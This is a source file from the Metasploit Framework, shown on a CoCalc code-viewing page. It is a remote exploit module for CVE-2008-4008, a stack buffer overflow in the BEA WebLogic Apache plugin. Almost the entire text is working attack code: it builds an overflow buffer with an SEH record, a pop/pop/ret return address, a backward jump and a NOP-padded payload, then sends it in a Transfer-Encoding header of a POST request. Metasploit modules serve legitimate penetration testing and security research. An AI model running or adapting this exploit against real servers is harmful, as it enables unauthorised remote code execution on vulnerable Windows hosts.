Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
HttpFingerprint = { :pattern => [ /Apache/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::Seh
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
19
'Description' => %q{
20
This module exploits a stack based buffer overflow in the BEA
21
Weblogic Apache plugin. This vulnerability exists in the
22
error reporting for unknown Transfer-Encoding headers.
23
You may have to run this twice due to timing issues with handlers.
24
},
25
'Author' => 'pusscat',
26
'References' => [
27
[ 'CVE', '2008-4008' ],
28
[ 'OSVDB', '49283' ]
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'seh',
32
},
33
'Privileged' => true,
34
'Platform' => 'win',
35
'Payload' => {
36
'Space' => 500,
37
'BadChars' => "\x00\x0d\x0a",
38
'StackAdjustment' => -1500,
39
},
40
'Targets' => [
41
[
42
'Windows Apache 2.2 version Universal',
43
{
44
'Ret' => 0x1001f4d6, # pop/pop/ret
45
}
46
],
47
],
48
'DisclosureDate' => '2008-09-09',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
end
58
59
def exploit
60
sploit = rand_text_alphanumeric(5800)
61
sploit[5781, 8] = generate_seh_record(target.ret)
62
# Jump backward to the payload
63
sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
64
sploit[0, payload.encoded.length + 7] = make_nops(7) + payload.encoded
65
66
datastore['VHOST'] = 'localhost'
67
send_request_cgi(
68
{
69
'method' => 'POST',
70
'url' => '/index.jsp',
71
'data' => '',
72
'headers' =>
73
{
74
'Transfer-Encoding' => sploit
75
}
76
}
77
)
78
79
handler
80
end
81
end
82
83